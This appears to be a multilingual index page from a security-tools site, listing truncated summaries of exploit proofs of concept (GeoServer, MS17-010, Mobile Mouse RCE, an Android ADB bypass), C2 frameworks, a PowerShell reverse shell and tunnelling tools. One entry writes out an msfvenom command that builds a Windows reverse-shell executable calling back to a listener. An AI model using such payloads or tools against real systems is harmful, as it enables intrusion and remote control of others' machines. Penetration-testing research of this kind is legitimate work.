CVE-2024-36401-PoC

CVE-2024-36401-PoC Proof-of-Concept Exploit for CVE-2024-36401 GeoServer Vulnerable Versions of GeoServer are prior to 2.23.6 | 2.24.4 | 2.25.2 !!! FOR SECURITY TESTING PURPOSES ONLY !!! DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT OWN UNLESS YOU HAVE EXPRESS PERMISSION !!! To run... 1. Start a...

Windows-CVE-2024-38063

Windows-TCP/IP-IPv6CVE-2024-38063 Vulnerability CVE-2024-38063 is a remote code execution vulnerability in the TCP/IP component of the Windows operating system. According to Microsoft's official description, the vulnerability has a maximum severity rating of Critical, with a CVSS score of 9.8, an...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Using msfvenom to Generate a Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifies the payload a reverse TCP shell for Windows. LHOST=10.10.14.4: The...

CVE-2009-1330

CVE-2009-1330 Exploit for buffer overflow in Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Based on: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 Vulnerable app available at https://www.exploit-db.com/exploits/10374...

bore

bore Rust で書かれた、モダンでシンプルな TCP トンネル。ローカルポートをリモートサーバーに公開し、標準的な NAT 接続ファイアウォールをバイパスします。これだけです。それ以上でもそれ以下でもありません。 root@kitploit: Installation requires Rust, see alternatives below cargo install bore-cli On your local machine bore local 8000 --to bore.pub これにより、ローカルポート localhost:8000 が、公開インターネット上の...

powershell-reverse-tcp

PowerShell リバース TCP リモートホストと通信するためのPowerShellスクリプト。 リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。 以下のシェルを確認してください： Invoke-Expression PowerShell コマンド こちら, プロセスパイプ こちら。 Windows 10 Enterprise OS 64-bit上のPowerShell v5.1.19041.2673でテスト済み。 教育目的で作成されました。お役に立てば幸いです！...

NotCVE-2026-0010

Resumen Vulnerabilidad: Escalada de privilegios local sin autenticación a SYSTEM a través del puerto TCP 24801 del daemon de Barrier Vendedor: debauchee proyecto Barrier Producto: Barrier 2.4.0 versión final, 2021-11-01 CWE: CWE-306: Falta de autenticación para funciones críticas Descripción El...

mouseserver-exploit

Mobile Mouse 3.6.0.4 RCE - 修复 这是已发布为 EDB-51010 的 Mobile Mouse 3.6.0.4 远程代码执行漏洞利用程序的修正版本。 漏洞 CVE： CVE-2023-31902 受影响版本： Mobile Mouse 3.6.0.4 默认端口： TCP/9099 修复内容 原始漏洞利用程序虽然可以成功下载有效载荷，但由于两个阶段使用同一条 TCP 连接，可能无法执行该有效载荷。 此版本： 通过第一个会话下载有效载荷 等待下载完成 建立一条新连接 重复 Mobile Mouse 握手 执行下载的有效载荷 它还使用了 sendall、正确转义的...

proxychains-ng

ProxyChains-NG ver 4.17 README ProxyChainsはUNIXプログラムで、動的リンクされたプログラムにおいて、プリロードされたDLL（dlsym、LDPRELOAD）を介してネットワーク関連のlibc関数をフックし、SOCKS4a/5またはHTTPプロキシ経由で接続をリダイレクトします。TCPのみをサポートし（UDP/ICMPなどは非対応）。...

ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters Table of Contents Introduction Use case Quick Demo Performance Usage Setup / Compiling How to use? TL;DR Options Features To Do Licensing Credits Introduction Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP...

ethr

Ethr Ethr es una herramienta multiplataforma de medición de rendimiento de red escrita en golang. El objetivo de este proyecto es proporcionar una herramienta nativa para mediciones exhaustivas del rendimiento de red: ancho de banda, conexiones/s, paquetes/s, latencia, pérdida y jitter, a través ...

c2-cloud

About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...

findwall

FindWall What does it do? FindWall is Python script that allows to understand if your network provider is limiting your access to the Internet by blocking any TCP/UDP port. In order to perform this check FindWall needs to connect a public VPS of your property. FindWall performs the following...

ThunderDNS

ThunderDNS This tool can forward TCP traffic over DNS protocol. Non-compile clients + socks5 support. Run Setting up NS records on our domain: Please wait for clearing DNS-cache. Simple server run: python3 ./server.py --domain oversec.ru Simple server run Dockerfile: docker run -e DOMAIN='' Simpl...

sx

sx はUNIX哲学に従って設計されたコマンドラインネットワークスキャナです。 このプロジェクトの目標は、クリーンでシンプルなコードで最速のネットワークスキャナを作成することです。 📖 目次 特徴 インストール ソースからビルド クイックスタート 参考文献 貢献 クレジット ライセンス ✨ 特徴 ⚡ nmapの30倍高速 ARPスキャン : ローカルネットワークをスキャンして稼働中のデバイスを検出 ICMPスキャン : 高度なICMPスキャン技術を使用して稼働ホストとファイアウォールルールを検出 TCP SYNスキャン : 従来のハーフオープンスキャンで開いているTCPポートを発見 TC...

CVE-2026-0073-Android-adbd-authentication-bypass

针对 CVE-2026-0073 的研究。这是一个认证绕过漏洞，允许任何拥有本地网络访问权限的攻击者连接到启用了开发者工具和无线调试或 ADB-over-TCP 的 Android 设备。设备需要事先完成配对。 该漏洞已在 Android Studio 中的 Android 14 上测试通过。在其他版本上应该也能生效，但可利用性可能有所不同。 这里可以看到，我在启动服务并通过配对连接以存储密钥之后，删除了附加到 ADB 所需的密钥。此后，我无法通过 ADB 连接。 这里可以看到，即使没有可用于连接的密钥，该绕过也能毫无问题地生效。...

netsniff-ng

////////////////////////////////////////////////////////////////////////////// root@kitploit: netsniff-ng - the packet sniffing beast \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ . . netsniff-ng is a free, performant / Linux network analyzer and .' '. networking...

Havoc-C2-SSRF-poc

CVE-2024-41570: Havoc-C2-SSRF-poc This vulnerability is exploited by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more. Full analysis:...

grc2

nimc2 このソフトウェアは非常に初期の開発段階にあり、使用中に多くの問題に遭遇する可能性があります nimc2 は 完全に nim で書かれた 非常に軽量な C2 です。その用途はユーザーサポートから従業員監視まで多岐にわたります。 試してみたい場合は、wiki を参照して、nimc2 のインストールと使用方法を学んでください。機能は以下のとおりです： Windows および Linux インプラントの生成 TCP ソケットおよび HTTP 通信 必要なだけリスナーを作成可能 優れたタスクシステム スクリーンショットやダウンロードしたファイルを保存するためのルートシステム...

Tunna

Tunna Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. v1.1 Alpha version root@kitploit: | | | || | | | ' | ' \ / | | || || | | | | | | | | | || ,|| ||| ||,| Tunna 0.1, for HTTP...